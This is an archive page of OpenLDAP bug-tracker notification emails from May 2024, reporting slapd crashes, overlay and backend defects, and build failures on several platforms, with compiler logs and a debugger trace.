- openldap-bugs - openldap.org

[Issue 10172] New: check for writability of directory of logfile during startup
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10172 Issue ID: 10172 Summary: check for writability of directory of logfile during startup Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: enhancement Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Even if the logfile itself is writable, if the enclosing directory is not writable then slapd won't be able to perform logfile rotation. Check for this when the logfile is being configured. This will prevent starting up with a bad config, but we still can't do anything about it if the directory's perms are changed while slapd is already running. Logging an error message in that situation would likely fill all disk space with that error message. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10103] New: Contrib OIDs inconsistent
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10103 Issue ID: 10103 Summary: Contrib OIDs inconsistent Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: contrib Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- When the latest batch of contrib overlays were added, the OIDs list wasn't updated and OIDs inside the code populated properly. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10197] New: Back-meta and back-asyncmeta add a new target structure and increase the number of targets even if uri parsing fails
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10197 Issue ID: 10197 Summary: Back-meta and back-asyncmeta add a new target structure and increase the number of targets even if uri parsing fails Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- This happens when a new target is added via cn=config. In asyncmeta's case it can lead to too many connection structures allocated, although it seems operational. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10204] New: Slapd crashes when attempting to use DN as constraint attribute
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10204 Issue ID: 10204 Summary: Slapd crashes when attempting to use DN as constraint attribute Product: OpenLDAP Version: 2.6.1 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: eresendiz(a)symas.com Target Milestone: --- Created attachment 1016 --> https://bugs.openldap.org/attachment.cgi?id=1016&action=edit Crash output When adding a to the constraint overlay with a constraintattribute that contains a 'dn' filter the slapd process crashes. Please see below for more detail. Very readily produceable with any kind of non-existent attribute specified in the attribute list. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 7400] Memberof and Syncrepl incompatibility
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=7400 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Status|RESOLVED |VERIFIED -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10193] New: Asyncmeta starts more than one timeout loop per database
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10193 Issue ID: 10193 Summary: Asyncmeta starts more than one timeout loop per database Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- By design, there should be always exactly one timeout loop task per database, it is a balance to make sure timeout checks do not throttle traffic processing. For some reason, there seems to be more than one. This is only visible if slapd is started with -dasyncmeta log level. -- You are receiving this mail because: You are on the CC list for the issue.

1 9

[Issue 10207] New: configure: Syntax error: Unterminated quoted string (2.6.8 (RE26))
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10207 Issue ID: 10207 Summary: configure: Syntax error: Unterminated quoted string (2.6.8 (RE26)) Product: OpenLDAP Version: unspecified Hardware: All OS: FreeBSD Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: brett(a)gladserv.com Target Milestone: --- Created attachment 1017 --> https://bugs.openldap.org/attachment.cgi?id=1017&action=edit Patch for configure.ac Testing RE26 (2.6.8) On FreeBSD and NetBSD, configure fails with the following error: checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared libraries... yes checking whether to build static libraries... yes ./configure: 13865: Syntax error: Unterminated quoted string Patch for configure.ac attached. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10161] New: Move nested group support to its own overlay
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10161 Issue ID: 10161 Summary: Move nested group support to its own overlay Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: enhancement Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Adding the feature to dynlist has made that code overly complex, along with killing performance. -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10185] New: autogroup doesn't populate members in newly added dynamic groups
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10185 Issue ID: 10185 Summary: autogroup doesn't populate members in newly added dynamic groups Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: contrib Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- This was broken in 316afb1190c4fa8d96dc56b38b41f4a6ffb163e9 ITS#6970 -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10183] New: ldapadd jump option
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10183 Issue ID: 10183 Summary: ldapadd jump option Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: enhancement Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Same as the jump option added for slapadd in ITS#4555. Should have been added long ago. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 10167] New: slapo-memberof should have a way of reacting to a member entry being added after group referencing it
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10167 Issue ID: 10167 Summary: slapo-memberof should have a way of reacting to a member entry being added after group referencing it Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- If a group (with member: values) is added before the member entries exist, the memberof values never get populated. This can happen e.g. during replication. No idea how it meshes with the refint functionality of memberof if it's indeed reconcilable at all. Silly example (Hird's memberof will be empty): ```ldif dn: cn=GNU,ou=Groups,dc=example,dc=com objectClass: groupOfNames member: cn=Hurd,ou=Groups,dc=example,dc=com dn: cn=Hurd,ou=Groups,dc=example,dc=com objectClass: groupOfNames member: cn=Hird,ou=Groups,dc=example,dc=com member: cn=Roger Rabbit,ou=People,dc=example,dc=com dn: cn=Hird,ou=Groups,dc=example,dc=com objectClass: groupOfNames member: cn=Tweety Bird,ou=People,dc=example,dc=com member: cn=Hurd,ou=Groups,dc=example,dc=com ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10186] New: Overlay response callbacks should ignore op->o_abandon
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10186 Issue ID: 10186 Summary: Overlay response callbacks should ignore op->o_abandon Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Overlays that need to perform other DB write operations in their response callbacks usually create a new Operation by copying the existing *op. If the op had its o_abandon flag set, then every op the overlay starts will be immediately abandoned instead of executing. They should zero out the op->o_abandon flag, because the fact that the response callback got invoked means the original operation already completed. If the main op actually observed the abandon request, the response callbacks wouldn't have gotten triggered. This in particular affects the memberof overlay, which must perform other modifications after the main op completes. It also affects the contrib autogroup overlay. It might be relevant for accesslog as well, but I haven't looked at that yet. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10176] New: new atexit() call to atexit(ldap_exit_tls_destroy) in 2.5.17 crashes AIX application
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10176 Issue ID: 10176 Summary: new atexit() call to atexit(ldap_exit_tls_destroy) in 2.5.17 crashes AIX application Product: OpenLDAP Version: 2.5.17 Hardware: Other OS: Other Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: philip.miloslavsky(a)gmail.com Target Milestone: --- We have a long standing openldap application that's being ported from 2.4.58 to 2.5.17. On ppc AIX (but not on linux for which we also build), when we exit the main application we get a crash in exit() because it is trying to run the atexit which LDAP regsitered, but ldap has already been unloaded and the unloading caused that atexit function pointer to become zero. So I tracked it to this line of code in ldap 2.5.17 that was not there in 2.4.58 libraries/libldap/tls2.c: atexit( ldap_exit_tls_destroy ); If I remove that line of code, my issue goes away. So, now on to dlcose and atexit. So we have a main kernel (irisdb), a C++ library (ldap.so) that we wrote that calls ldap client libraries, and the 2 actual openldap libraries which ldap.so is linked against. During irisdb exit (the h command) irisdb does call dlclose on ldap.so, which as a side effect results in the unloading of the 2 official openldap libraries, but no one calls unatexit() (on the 0x09001000a04947a8 below). After the 3 libraries are unloaded, the atexit registration is still there but its been replaced with zeroes. At what point in this process should we call unatexit or some LDAP function and why does this sequence of events work right on linux but not AIX? [5] stop in ldap_unbind_s (dbx) c [1] stopped in unload_sharedlib at line 7793 in file "/nethome/pmilosla/perforce/projects/OpenLDAP4/kernel/common/src/cdzf.c" ($t1) 7793 if (!libptr) (dbx) where unload_sharedlib(libptr = 0x0000000000000004), line 7793 in "cdzf.c" UnloadZFETable(zfetabdescp = 0x0a00010000032790), line 7346 in "cdzf.c" ResetZFETable(), line 7940 in "cdzf.c" zfrundown(), line 10135 in "cdzf.c" chsub2(), line 3480 in "dmisc2.c" chalt(flag = 1), line 3222 in "dmisc2.c" Chaltcmd(), line 3146 in "dmisc2.c" (dbx) p zfetabdescp->fnameptr "/home/gavlak/gavlakcre7424/bin/ldap.so" (dbx) 0x09001000a04947a8/2x 0x09001000a04947a8: 0900 0000 (dbx) 0x09001000a04947a8/4x 0x09001000a04947a8: 0900 0000 0491 8ec0 (dbx) c [3] stopped in dlclose at 0x90000000029da40 ($t1) 0x90000000029da40 (dlclose) 7c0802a6 mflr r0 (dbx) where dlclose(0x4) at 0x90000000029da40 unload_sharedlib(libptr = 0x0000000000000004), line 7804 in "cdzf.c" UnloadZFETable(zfetabdescp = 0x0a00010000032790), line 7346 in "cdzf.c" ResetZFETable(), line 7940 in "cdzf.c" zfrundown(), line 10135 in "cdzf.c" chsub2(), line 3480 in "dmisc2.c" chalt(flag = 1), line 3222 in "dmisc2.c" Chaltcmd(), line 3146 in "dmisc2.c" (dbx) p zfetabdescp->fnameptr "/home/gavlak/gavlakcre7424/bin/ldap.so" (dbx) c [2] stopped in exit at 0x9000000002524a0 ($t1) 0x9000000002524a0 (exit) 7c0802a6 mflr r0 (dbx) 0x09001000a04947a8/4x 0x09001000a04947a8: 0000 0000 0000 0000 (dbx) c Illegal instruction in . at 0x0 ($t1) 0x0000000000000000 00000000 Invalid opcode. (dbx) where .() at 0x0 exit(??) at 0x900000000252610 syshalt(a = 0), line 6925 in "emisc.c" chalt(flag = 1), line 3227 in "dmisc2.c" Chaltcmd(), line 3146 in "dmisc2.c" -- You are receiving this mail because: You are on the CC list for the issue.

1 17

[Issue 10170] New: accesslog breaks if internal ops done in startup
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10170 Issue ID: 10170 Summary: accesslog breaks if internal ops done in startup Product: OpenLDAP Version: 2.5.17 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- If some other overlay performs some internal operations in its db_open handler, before all DBs and overlays are fully initialized, and accesslog_response is invoked, it may crash if its logDB hasn't been initialized yet. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10044] New: dynlist sometimes crashes when a search operation is abandoned
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10044 Issue ID: 10044 Summary: dynlist sometimes crashes when a search operation is abandoned Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Playing with the DB provided in ITS#10041 on master, interrupting the ldapsearch sometimes leads to a slapd crash. It's not 100% repeatable and the debugger shows dynlist_search2resp touching memory freed by dynlist_search_cleanup already, which doesn't make sense. Might be something else is happening at the same time. -- You are receiving this mail because: You are on the CC list for the issue.

1 11

[Issue 10165] New: back-meta fails to bind to target when proxying an internal operation
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10165 Issue ID: 10165 Summary: back-meta fails to bind to target when proxying an internal operation Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: nivanova(a)symas.com Target Milestone: --- When the target is configured as follows: idassert-bind bindmethod=sasl saslmech=EXTERNAL authz=proxyauthz flags=override and an overlay issues an internal operation, back-meta attempts to open a new connection to the target, but the bind fails, so the internal operation cannot be executed. The target server returns the following error (as logged by back-meta): <unauthenticated bind (DN with no password) disallowed> Example configuration of the target server: authz-regexp gidNumber=.*\+uidNumber=.*,cn=peercred,cn=external,cn=auth cn=config logfile ./main.log database config database mdb directory ./main rootdn cn=config suffix o=example.com overlay accesslog logdb cn=log logops writes logsuccess true database mdb suffix cn=log directory ./log -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10173] New: Accesslog bootstrap doesn't populate minCSN internally
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10173 Issue ID: 10173 Summary: Accesslog bootstrap doesn't populate minCSN internally Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- When a new accesslog DB is being set up from zero but a main DB exists, the correct minCSN is pushed into the auditContainer entry but li_mincsn et al are not set up internally. Fix is coming. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10211] New: uid or gid >= 2^31 can crash slapd when performing peercred auth
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10211 Issue ID: 10211 Summary: uid or gid >= 2^31 can crash slapd when performing peercred auth Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: nick(a)portercomputing.co.uk Target Milestone: --- Created attachment 1018 --> https://bugs.openldap.org/attachment.cgi?id=1018&action=edit Patch to resolve issue If a user with uid or gid >= 2^31 performs peercred authentication, slapd can crash due to incorrect formatting of uid and gid when producing the authid string. uid and gid are unsigned int values, but are currently cast to int and printed with %d. This results in values >= 2^31 being printed as negatives, which is wrong, and for some values that will result in a string longer than the space which has been allocated due to the addition of the leading '-'. The issue can be reproduced by attempting a peercred auth from a user with uid and gid 2649996510 - which will currently be printed as -1644970786. Attached is a patch which rectifies this. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10206] New: smbk5pwd.c: implicit declaration of function 'kadm5_s_init_with_password_ctx'
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10206 Issue ID: 10206 Summary: smbk5pwd.c: implicit declaration of function 'kadm5_s_init_with_password_ctx' Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: contrib Assignee: bugs(a)openldap.org Reporter: ryan(a)openldap.org Target Milestone: --- smbk5pwd.c: In function ‘smbk5pwd_modules_init’: smbk5pwd.c:917:23: warning: implicit declaration of function ‘kadm5_s_init_with_password_ctx’; did you mean ‘kadm5_init_with_password_ctx’? [-Wimplicit-function-declaration] 917 | ret = kadm5_s_init_with_password_ctx( context, | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | kadm5_init_with_password_ctx -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10177] New: back-perl build for clang15
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10177 Issue ID: 10177 Summary: back-perl build for clang15 Product: OpenLDAP Version: 2.5.17 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: hamano(a)osstech.co.jp Target Milestone: --- back-perl cannot be built with clang15 on RHEL9. The following error occurs: ``` libtool: link: clang -shared -fPIC -DPIC .libs/init.o .libs/search.o .libs/close.o .libs/config.o .libs/bind.o .libs/compare.o .libs/modify.o .libs/add.o .libs/modrdn.o .libs/delete.o .libs/version.o -Wl,-rpath -Wl,/home/hamano/tmp/openldap-2.5.17/build-clang15/libraries/libldap/.libs -Wl,-rpath -Wl,/home/hamano/tmp/openldap-2.5.17/build-clang15/libraries/liblber/.libs -Wl,-rpath -Wl,/usr/local/lib -L/home/hamano/tmp/openldap-2.5.17/build-clang15/libraries/liblber/.libs -L/usr/local/lib -L/usr/lib64/perl5/CORE -lperl -lpthread -lresolv -ldl -lm -lcrypt -lutil ../../../libraries/libldap/.libs/libldap.so /home/hamano/tmp/openldap-2.5.17/build-clang15/libraries/liblber/.libs/liblber.so -lsasl2 -lssl -lcrypto ../../../libraries/liblber/.libs/liblber.so -g -O0 -Wl,--enable-new-dtags -Wl,-z -Wl,relro -Wl,--as-needed -Wl,-z -Wl,now -Wl,-z -Wl,relro -Wl,--as-needed -Wl,-z -Wl,now -fstack-protector-strong -Wl,-soname -Wl,back_perl-2.5.so.0 -o .libs/back_perl-2.5.so.0.1.12 .libs/init.o: file not recognized: file format not recognized clang-15: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [Makefile:348: back_perl.la] Error 1 make: Leaving directory '/home/hamano/tmp/openldap-2.5.17/build-clang15/servers/slapd/back-perl' ``` The cause is that the `-flto=auto` flag prevents the generation with ELF format. ``` $ file servers/slapd/back-perl/.libs/init.o servers/slapd/back-perl/.libs/init.o: LLVM IR bitcode ``` I'll open gitlab PR. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10171] New: Incompatible pointer type assignments
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10171 Issue ID: 10171 Summary: Incompatible pointer type assignments Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: sgallagh(a)redhat.com Target Milestone: --- When building with -Werror=incompatible-pointer-types, numerous implicit casts are made from (void**) types. For example: ``` make[3]: Entering directory '/builddir/build/BUILD/openldap-2.6.6/openldap-2.6.6/servers/slapd/back-asyncmeta' /bin/sh ../../../libtool --tag=disable-static --mode=compile gcc -O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -mbranch-protection=standard -fasynchronous-unwind-tables -fstack-clash-protection -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -Wl,-z,relro -Wl,--as-needed -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld-errors -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -Wl,--build-id=sha1 -specs=/usr/lib/rpm/redhat/redhat-package-notes -Wl,--as-needed -DLDAP_CONNECTIONLESS -I../../../include -I../../../include -I.. -I./.. -DSLAPD_IMPORT -c conn.c libtool: compile: gcc -O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -mbranch-protection=standard -fasynchronous-unwind-tables -fstack-clash-protection -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -Wl,-z,relro -Wl,--as-needed -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld-errors -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -Wl,--build-id=sha1 -specs=/usr/lib/rpm/redhat/redhat-package-notes -Wl,--as-needed -DLDAP_CONNECTIONLESS -I../../../include -I../../../include -I.. -I./.. -DSLAPD_IMPORT -c conn.c -fPIC -DPIC -o .libs/conn.o make[3]: Leaving directory '/builddir/build/BUILD/openldap-2.6.6/openldap-2.6.6/servers/slapd/back-asyncmeta' make[3]: Entering directory '/builddir/build/BUILD/openldap-2.6.6/openldap-2.6.6/servers/slapd/overlays' /bin/sh ../../../libtool --tag=disable-static --mode=compile gcc -O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -mbranch-protection=standard -fasynchronous-unwind-tables -fstack-clash-protection -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -Wl,-z,relro -Wl,--as-needed -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld-errors -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -Wl,--build-id=sha1 -specs=/usr/lib/rpm/redhat/redhat-package-notes -Wl,--as-needed -DLDAP_CONNECTIONLESS -I../../../include -I../../../include -I.. -I./.. -DSLAPD_IMPORT -c constraint.c libtool: compile: gcc -O2 -flto=auto -ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -mbranch-protection=standard -fasynchronous-unwind-tables -fstack-clash-protection -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -Wl,-z,relro -Wl,--as-needed -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld-errors -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -Wl,--build-id=sha1 -specs=/usr/lib/rpm/redhat/redhat-package-notes -Wl,--as-needed -DLDAP_CONNECTIONLESS -I../../../include -I../../../include -I.. -I./.. -DSLAPD_IMPORT -c constraint.c -fPIC -DPIC -o .libs/constraint.o make[3]: Leaving directory '/builddir/build/BUILD/openldap-2.6.6/openldap-2.6.6/servers/slapd/overlays' constraint.c:90:38: warning: missing braces around initializer [-Wmissing-braces] 90 | static ConfigTable constraintcfg[] = { | ^ constraint.c:90:38: warning: missing braces around initializer [-Wmissing-braces] constraint.c:90:38: warning: missing braces around initializer [-Wmissing-braces] constraint.c: In function ‘constraint_cf_gen’: constraint.c:327:40: warning: unused variable ‘size’ [-Wunused-variable] 327 | size_t size; | ^~~~ constraint.c:335:40: warning: unused variable ‘count’ [-Wunused-variable] 335 | size_t count; | ^~~~~ constraint.c:560:43: error: assignment to ‘constraint **’ from incompatible pointer type ‘void **’ [-Wincompatible-pointer-types] 560 | for ( app = &on->on_bi.bi_private; *app; app = &(*app)->ap_next ) | ^ constraint.c: In function ‘constraint_check_count_violation’: constraint.c:891:19: warning: unused variable ‘b’ [-Wunused-variable] 891 | BerVarray b = NULL; | ^ constraint.c: In function ‘constraint_update’: constraint.c:1016:26: warning: unused variable ‘ce’ [-Wunused-variable] 1016 | unsigned ce = 0; | ^~ ``` Most of these can be resolved with a simple explicit cast. I have submitted a patch to do so at https://git.openldap.org/openldap/openldap/-/merge_requests/683 -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10208] New: build test failure: test076-authid-rewrite (2.6.8 (RE26)
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10208 Issue ID: 10208 Summary: build test failure: test076-authid-rewrite (2.6.8 (RE26) Product: OpenLDAP Version: unspecified Hardware: All OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: brett(a)gladserv.com Target Milestone: --- Testing RE26 on Gentoo Linux. Test 076 fails with "generic failure: internal error: failed to init cipher 'rc4'" >>>>> 00:07:19 Starting test076-authid-rewrite for mdb... running defines.sh Starting slapd on TCP/IP port 9011... /home/bacs/src/openldap-OPENLDAP_REL_ENG_2_6/tests Using ldapsearch to check that slapd is running... Checking whether DIGEST-MD5 is supported... Adding schema and database... Using ldapadd to populate the database... Adding olcAuthzRegexp rule for static mapping... Testing ldapwhoami as Manager... ldap_sasl_interactive_bind: Local error (-2) additional info: SASL(-1): generic failure: internal error: failed to init cipher 'rc4' ldapwhoami failed (254)! >>>>> 00:07:20 Failed test076-authid-rewrite for mdb after 1 seconds (exit 254) make[2]: *** [Makefile:320: mdb-yes] Error 254 make[2]: Leaving directory '/home/bacs/src/openldap-OPENLDAP_REL_ENG_2_6/tests' make[1]: *** [Makefile:287: test] Error 2 make[1]: Leaving directory '/home/bacs/src/openldap-OPENLDAP_REL_ENG_2_6/tests' make: *** [Makefile:298: test] Error 2 -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10209] New: OpenBSD Build failure (2.6.8 (RE26)
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10209 Issue ID: 10209 Summary: OpenBSD Build failure (2.6.8 (RE26) Product: OpenLDAP Version: unspecified Hardware: All OS: Other Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: brett(a)gladserv.com Target Milestone: --- Build failure on OpenBSD 7.2. NB: OpenBSD uses LibreSSL, not OpenSSL, and I have no idea if that's supported, but configure should at least pick that up I think. libtool: compile: cc -g -O2 -I../../include -I../../include -DLDAP_LIBRARY -c tls_o.c -fPIC -DPIC -o .libs/tls_o.o tls_o.c:228:19: error: use of undeclared identifier 'OPENSSL_INIT_NO_ATEXIT' OPENSSL_init_ssl(OPENSSL_INIT_NO_ATEXIT, NULL); ^ 1 error generated. *** Error 1 in libraries/libldap (Makefile:432 'tls_o.lo') *** Error 2 in libraries (Makefile:317 'all-common': @for i in liblutil liblber liblunicode libldap librewrite ; do echo " Entering ...) *** Error 2 in /home/bacs/openldap-OPENLDAP_REL_ENG_2_6 (Makefile:325 'all-common': @for i in include libraries clients servers tests doc ; ...) -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10166] New: 2.6.7: not redy for gcc 14.x
by openldap-its＠openldap.org 21 May '24

21 May '24

https://bugs.openldap.org/show_bug.cgi?id=10166 Issue ID: 10166 Summary: 2.6.7: not redy for gcc 14.x Product: OpenLDAP Version: 2.6.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: kloczko.tomasz(a)gmail.com Target Milestone: --- Looks like last version build fails with latest gcc 14.x which is now used in fedora rawhide. cd slapi && make -k all make[3]: Entering directory '/home/tkloczko/rpmbuild/BUILD/openldap-2.6.7/servers/slapd/slapi' /bin/sh ../../../libtool --mode=compile /usr/bin/gcc -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -O2 -g -grecord-gcc-switches -pipe -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -fdata-sections -ffunction-sections -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -flto=auto -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -Wall -Werror=format-security -DLDAP_CONNECTIONLESS -I../../../include -I.. -I. -I../../../include -I./.. -I. -DSLAPI_LIBRARY -c plugin.c libtool: compile: /usr/bin/gcc -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -O2 -g -grecord-gcc-switches -pipe -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer 